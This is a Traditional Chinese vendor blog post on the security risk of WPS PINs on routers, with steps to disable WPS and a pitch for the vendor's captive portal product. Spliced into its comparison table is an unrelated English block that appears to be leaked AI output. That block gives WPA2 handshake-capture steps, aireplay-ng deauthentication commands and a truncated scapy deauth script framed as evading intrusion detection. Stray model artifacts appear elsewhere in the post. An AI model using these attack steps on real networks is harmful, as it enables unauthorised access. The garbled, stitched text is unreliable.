跳至主要內容

您的帶有 WPS 路由器是否存在安全風險?

作者:James Wood
22 March 2026
閱讀時間 8 分鐘
Is Your Router with WPS a Security Risk?

過去將無線裝置連線到 WiFi 網路對於終端使用者而言非常令人沮喪,因為他們必須尋找並輸入冗長且複雜的密碼。為了解決此摩擦,Wi-Fi Alliance 於 2007 年推出了 WiFi Protected Setup (WPS)。WPS 旨在透過按鈕觸發或 8 位數 PIN 碼來簡化上網程序,並在消費級路由器中獲得了廣泛採用。然而,看似便利的實用性卻引入了一個根本性的安全性漏洞,至今仍繼續危害商業和企業網路。

重點摘要:路由器 WPS 安全風險

  • 什麼是 WPS: WiFi 保護設定 (WPS) 於 2007 年由 Wi-Fi Alliance 推出,旨在簡化透過按鈕或 8 位數 PIN 碼進行的裝置連線,無需輸入冗長的網路密碼。
  • 核心 PIN 碼漏洞: 路由器會將 8 位數的 WPS PIN 碼拆分為兩個獨立部分(先驗證 4 位數,接著是 3 位數 + 校驗碼)進行驗證,這將暴力破解的複雜度從 1 億次嘗試大幅降低至僅 11,000 次。
  • 快速入侵風險: 像 Reaver 和 Pixie Dust 這類自動化工具可以利用 WPS PIN 驗證漏洞,在短短幾小時內提取出主要的 WPA2/WPA3 密碼。
  • 官方已廢棄: Wi-Fi Alliance 已於 2011 年廢棄 WPS PIN 驗證,且各大網路安全框架(包括 CISA 指引)皆強烈建議立即在所有企業網路中停用此功能。
  • 企業級替代方案: 現代化場所必須從 WPS 轉移到雲端管理的 Captive Portal802.1X WPA3-EnterpriseiPSK ,以提供安全的高賓與員工無線存取。

什麼是 WPS?它為何被建立?

在 2000 年代中期家用與辦公室無線網路擴展期間,連接無線印表機、智慧顯示器和行動裝置等硬體被證明非常繁瑣。使用者經常打錯 WPA2 密碼,或在進入管理員介面時遇到困難。

WiFi Protected Setup 的設計旨在透過四種簡單的存取方法來標準化用戶端登入:

  • PIN 碼方式: 用戶端裝置輸入印在路由器貼紙上或由軟體產生的 8 位數數字 PIN 碼。
  • 按鈕配置 (PBC): 使用者在兩分鐘的時限內,同時按下路由器和用戶端裝置上的實體或虛擬按鈕以建立連線。
  • 近距離無線通訊 (NFC): 將用戶端裝置靠近支援 NFC 的路由器,即可自動傳輸憑證。
  • USB 隨身碟方式: 將憑證寫入 USB 隨身碟,並在硬體之間手動傳輸 (因實體惡意軟體風險而提早淘汰)。

雖然按鈕機制提供了中等程度的實體安全,但 8 位數 PIN 碼機制是所有通過 WPS 認證的硬體所強制的。這項強制的 PIN 碼要求在數百萬個無線部署場所中,製造了一個無法緩解的漏洞。

為什麼 WPS PIN 認證是重大的安全性漏洞

啟用 WPS 的路由器,其核心弱點源自於路由器驗證 8 位數 PIN 碼的方式。驗證協定並非將所有八位數作為單一的 1 億種組合數字進行驗證,而是將 PIN 碼分成前後兩半分別進行評估:

  • 前半段(第 1 到 4 位數):路由器會獨立驗證前四位數,如果錯誤,則回應 EAP-NACK 封包。這將第一階段限制在僅 10,000 種可能的組合(0000 到 9999)之內。
  • 後半段(第 5 到 8 位數):最後一位數是根據前七位數計算出的總和檢查碼。因此,路由器僅檢查第 5、6 和 7 位數,最多只需要 1,000 種組合(000 到 999)。

透過分割驗證程序,該協定將總暴力破解複雜度從 100,000,000 種可能性降低到僅 11,000 次總嘗試次數(10,000 + 1,000)。像 Reaver、Bully 和 PixieWPS 這樣的自動化滲透測試工具會利用這種結構性缺陷來猜測每個組合,並在不到兩小時內擷取出作用中的 WPA/WPA2 密碼。

WPS PIN 攻擊對比標準 WPA2/WPA3 企業級安全性

將 WPS PIN 驗證與標準企業級無線安全模型進行比較,可以說明營運韌性上的嚴重差距:

json>]of ethical hacking and network security. Use code blocks for config snippets or commands only where appropriate. No conversational filler, no redundant definitions. Let's begin. ### 1. Architectural Differences: Capturing Key material (WPA/WPA2 vs. WPA3) over the Air (OTA) Under WPA and WPA2 (using the 4-Way Handshake based on the pre-shared key, or WPA-PSK), the key-derivation process relies on a static Pre-Shared Key (PSK). Under WPA3, the network uses **Simultaneous Authentication of Equals (SAE)**, which is based on a zero-knowledge proof protocol (specifically, a variant of the Dragonfly Key Exchange). #### WPA/WPA2 4-Way Handshake & The Pre-Shared Key (PSK) Vulnerability The security of WPA/WPA2 Personal relies on the derivation of the **Pairwise Transient Key (PTK)**, which encrypts unicast data traffic. The PTK is derived from the **Pairwise Master Key (PMK)**, which is directly equivalent to the PSK (or derived by hashing the human-readable passphrase and the SSID using PBKDF2). During the 4-way handshake, the Authenticator (AP) and the Supplicant (client) exchange two random values: the **Anonce** (Authenticator nonce) and the **Snonce** (Supplicant nonce), along with their MAC addresses. ``` Authenticator (AP) Supplicant (Client) | | | ---- Message 1: Anonce, AP MAC ----> | | | | <--- Message 2: Snonce, Client MAC, MIC -- | | | | ---- Message 3: Group Temporal Key (GTK) -->| | | | <--- Message 4: Acknowledgment ------------- | | | ``` To validate identity without transmitting the PMK/PSK, the client signs Message 2 with a **Message Integrity Code (MIC)** derived from the temporary key material. Because the mathematical derivation of the MIC is deterministic, an attacker capturing these four frames can perform offline dictionary or brute-force attacks to find the original passphrase. The key derivation equation for the PTK is: $$ ext{PTK} = ext{PRF-512}( ext{PMK}, ext{Anonce}, ext{Snonce}, ext{AP MAC}, ext{Client MAC})$$ Because the inputs ($ ext{Anonce}$, $ ext{Snonce}$, $ ext{AP MAC}$, and $ ext{Client MAC}$) are transmitted in the clear, the only unknown variable is the $ ext{PMK}$. An attacker can compute candidate $ ext{PTK}$s offline using a wordlist and calculate a local $ ext{MIC}$ for each candidate. If the calculated local $ ext{MIC}$ matches the $ ext{MIC}$ captured in Message 2 (or Message 3), the key is cracked. #### WPA3 SAE (Simultaneous Authentication of Equals) and Dragonfly Key Exchange WPA3 replaces PSK with **Simultaneous Authentication of Equals (SAE)**, implemented via the **Dragonfly Key Exchange** (RFC 7664). SAE uses a symmetric password-authenticated key exchange (PAKE) based on elliptic curves (or finite fields) to establish a shared key. Before keys are exchanged, both parties perform a **Hunting-and-Pecking** algorithm to map the shared passphrase and the MAC addresses of both peers to a point $P$ on an elliptic curve (or a generator in a finite field group). This point is known as the **Password Element (PE)**. Once the PE ($P$) is established, the exchange occurs via two cryptographic phases: **Commit** and **Confirm**. Each peer (Alice and Bob) chooses two random private values: a private key ($x, y$) and a private masking value ($s, r$). 1. **Commit Phase:** - Alice calculates and sends her commit scalar and commit element: $$ ext{Scalar}_A = (x + s) mod q$$ $$ ext{Element}_A = -s imes P$$ - Bob calculates and sends his commit scalar and commit element: $$ ext{Scalar}_B = (y + r) mod q$$ $$ ext{Element}_B = -r imes P$$ - Upon receiving the peer's commit values, each calculates a shared secret point $K$. For Alice: $$K = x imes ( ext{Scalar}_B imes P + ext{Element}_B) = x imes (y imes P)$$ Because the scalar operations are performed over the elliptic curve group, an eavesdropper observing the commit scalars and elements cannot derive the shared secret $K$ or the original PE $P$ due to the **Elliptic Curve Discrete Logarithm Problem (ECDLP)**. 2. **Confirm Phase:** - Both peers generate a hash (including the shared secret $K$ and the commit exchange history) to verify they hold the same secret. The PMK is then derived from $K$: $$ ext{PMK} = ext{KDF}(K, ext{context})$$ Because an attacker cannot deduce any properties of the point $P$ (the PE) or the shared secret $K$ from the public exchange, capturing the SAE handshake frames yields no utility for offline brute-force attacks. Offline password guessing is mathematically impossible because there is no static cryptographic signature (like the MIC in WPA2) derived directly from a plain-text hash of the passphrase that can be validated without interacting with the AP. --- ### 2. Attack Execution: Passive vs. Active Handshake Acquisition #### Passive Handshake Capturing (WPA/WPA2) Passive capturing relies on monitoring the target channel silently until a natural client association or roaming event occurs. ##### Step 1: Put the wireless interface into monitor mode. ```bash ip link set wlan0 down iw dev wlan0 set type monitor ip link set wlan0 up ``` ##### Step 2: Identify target networks (BSSID, Channel, Client MACs). ```bash airodump-ng wlan0 ``` ##### Step 3: Run targeted capture on the exact channel of the target AP, writing the capture output to a file. ```bash airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w wpa2_capture wlan0 ``` *Keep this process running to capture the 4-way handshake when a device connects naturally.* #### Active Handshake Capturing (Deauthentication Attack) To expedite acquisition, you can force an active client to disconnect and reconnect, triggering the 4-way handshake. ##### Step 1: Find an active client MAC address (`STATION`) connected to the target BSSID in the `airodump-ng` output. ##### Step 2: Inject raw 802.11 Deauthentication frames using `aireplay-ng`. This spoofs a deauthentication frame from the AP to the client. ```bash aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0 ``` Alternatively, you can use `scapy` in Python to construct and inject custom 802.11 Deauthentication frames to evade basic intrusion detection systems: ```python # deauth.py import sys from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp if len(sys.argv) < 4: print(
安全性指標 WPS PIN 驗證 WPA2/WPA3-Personal (PSK) Purple 雲端 Captive Portal / iPSK
驗證目標 靜態 8 位數 PIN 碼 共用網路密碼 個人 SSO / 社群帳號 / 動態 iPSK
有效金鑰空間 11,000 種組合 數萬億種組合 加密 OAuth 2.0 / 192 位元企業級金鑰
破解所需時間 2 到 10 小時(自動化) 數月或數年(字典攻擊) 幾乎不受憑證猜測攻擊影響
訪客存取控制 授權完整網路存取權限 所有訪客共用存取權限 隔離的用戶端 VLAN 與頻寬控制
合規性審查 未通過 PCI-DSS 與 GDPR 安全規則 部分合規且有審計風險 內建完全符合 PCI-DSS 與 GDPR 規範

維持 WPS 啟用狀態對企業帶來的實際風險

對於現代商用場所 - 包括零售連鎖店、旅宿物業、醫療保健機構以及多租戶辦公室 - 運行啟用 WPS 的硬體會帶來嚴重的企業營運風險:

1. 未授權的訪客網路入侵 WiFi 網路

位於場地停車場或相鄰辦公室的攻擊者,可以針對附近的基地台執行自動化 WPS 暴力破解指令碼。一旦 PIN 碼被破解,攻擊者就會取得該網路的純文字密碼,從而獲得對內部無線流量的持續存取權限。

2. 橫向移動至 POS 和管理網路

如果訪客流量沒有在具有嚴格存取控制清單 (ACL) 的專用 VLAN 上進行隔離,被攻破的 WPS 路由器將允許攻擊者掃描內部子網路。攻擊者可以鎖定銷售點 (POS) 終端機、庫存管理系統以及企業伺服器。

3. 違反法規監管與財務處罰

在商用網路上讓已知且未修補的協定漏洞保持啟用狀態,違反了 PCI-DSS(要求 1.2 與要求 2.2)以及 GDPR 的嚴格安全指令。在發生資料安全事件後進行的安全審計,將會對未能停用已棄用協定的企業進行處罰。

_thought>_

如何在商業路由器上尋找並停用 WPS

保護企業網路基礎架構需要稽核現有的無線無線基地台,並在所有硬體控制器上完全關閉 WPS 功能。

步驟 1:檢查實體 WPS 按鈕

檢查現有的基地台與路由器機殼,看看是否有實體 WPS 按鈕或帶有兩個彎曲箭頭的圖示。雖然企業級硬體極少配備實體按鈕,但小型企業路由器在出廠時通常預設啟用 WPS。

步驟 2:登入路由器管理控制面板

  1. 開啟已連線至區域網路的瀏覽器,並導覽至閘道 IP 位址(通常為 192.168.1.1192.168.0.1 或廠商管理主控台 URL)。
  2. 使用管理員認證進行驗證。如果預設認證尚未變更,請立即更新以防止未授權的存取。

步驟 3:停用 WPS PIN 和按鈕設定

  1. 導覽至無線設定WLAN 設定安全性選項
  2. 找到 WiFi Protected Setup (WPS) 切換開關或核取方塊。
  3. 將切換開關設定為已停用關閉。確保 PIN 碼驗證和按鈕配置皆已關閉。
  4. 儲存設定變更並重新啟動存取點以強制執行新的安全性狀態。

如需企業無線基礎架構的完整技術治理,請參閱我們的母篇 enterprise WiFi security guide

```of_course enterprise WiFi security guide

替代 WPS 的現代企業級方案

現代商業營運需要為訪客、員工和 IoT 硬體提供安全、流暢的登入體驗,而無需依賴靜態共享金鑰或有缺陷的 PIN 協定:

  • 雲端 Captive Portals 透過可自訂的網頁登入入口網站驗證訪客,提供社群媒體登入、SMS 簡訊驗證或網頁表單註冊,同時將訪客流量隔離到安全的 VLAN。在我們的 captive portal guide 中探索完整的設計原則。
  • Identity PSK (iPSK): 為特定裝置或使用者核發專屬且獨立的預先共用金鑰。如果某個密碼遭到破解,IT 管理員只需撤銷該單一金鑰,而不會干擾場地內的其他使用者。
  • WPA3-Enterprise & 802.1X: 利用數位憑證 ( EAP-TLS ) 和雲端身分識別提供者 (Microsoft Entra ID、Okta、Google Workspace) 進行員工筆記型電腦的零接觸驗證。

關於路由器 WPS 安全性的常見問題

在企業 WiFi 網路上使用 WPS 安全嗎?

否。WPS 包含結構設計上的漏洞,允許自動化工具在短短幾個小時內暴力破解 8 位數 PIN 碼。Wi-Fi Alliance 已於 2011 年正式棄用 WPS PIN 碼方法,且安全框架強制要求在所有商用網路上停用 WPS。

停用 WPS 會斷開現有 WiFi 裝置的連線嗎?

否。停用 WPS 僅會阻止新裝置透過 WPS PIN 碼或按鈕方式進行連線。所有使用標準 WPA2 或 WPA3 密碼連線的現有裝置仍會保持完全連線,不受任何干擾。

WPS PIN 與 WPS 按鈕設定 (PBC) 有何不同?

WPS PIN 需要輸入一個 8 位數的數字代碼,這很容易受到遠端暴力破解攻擊。WPS 按鈕配置則需要在大約兩分鐘的時間內實際按下路由器上的按鈕。雖然 PBC 較難被遠端利用,但許多路由器在啟用 PBC 時仍會讓 PIN 介面保持作用中,導致底層漏洞依然暴露。

什麼是替代 WPS 以實現安全訪客 WiFi 存取的最佳方案?

商業訪客 WiFi 的黃金標準是具有自動化用戶端隔離和頻寬治理的雲端託管 Captive Portal。對於員工和內部裝置,Identity PSK (iPSK) 或 802.1X 企業驗證可提供無縫、個別的認證管理,而不會有共享密碼的風險。


將易受攻擊的 WPS 替換為安全的企業級 WiFi

使用 Purple 的硬體相容訪客 WiFi 與雲端安全平台來升級您的商業網路。在您所有的據點提供無縫的 Captive Portal 驗證、隔離的用戶端 VLAN 以及自動化合規性。

準備好開始了嗎?

預約專家演示,了解 Purple 如何協助您達成業務目標。

諮詢專家
您的帶有 WPS 路由器是否存在安全風險? | Purple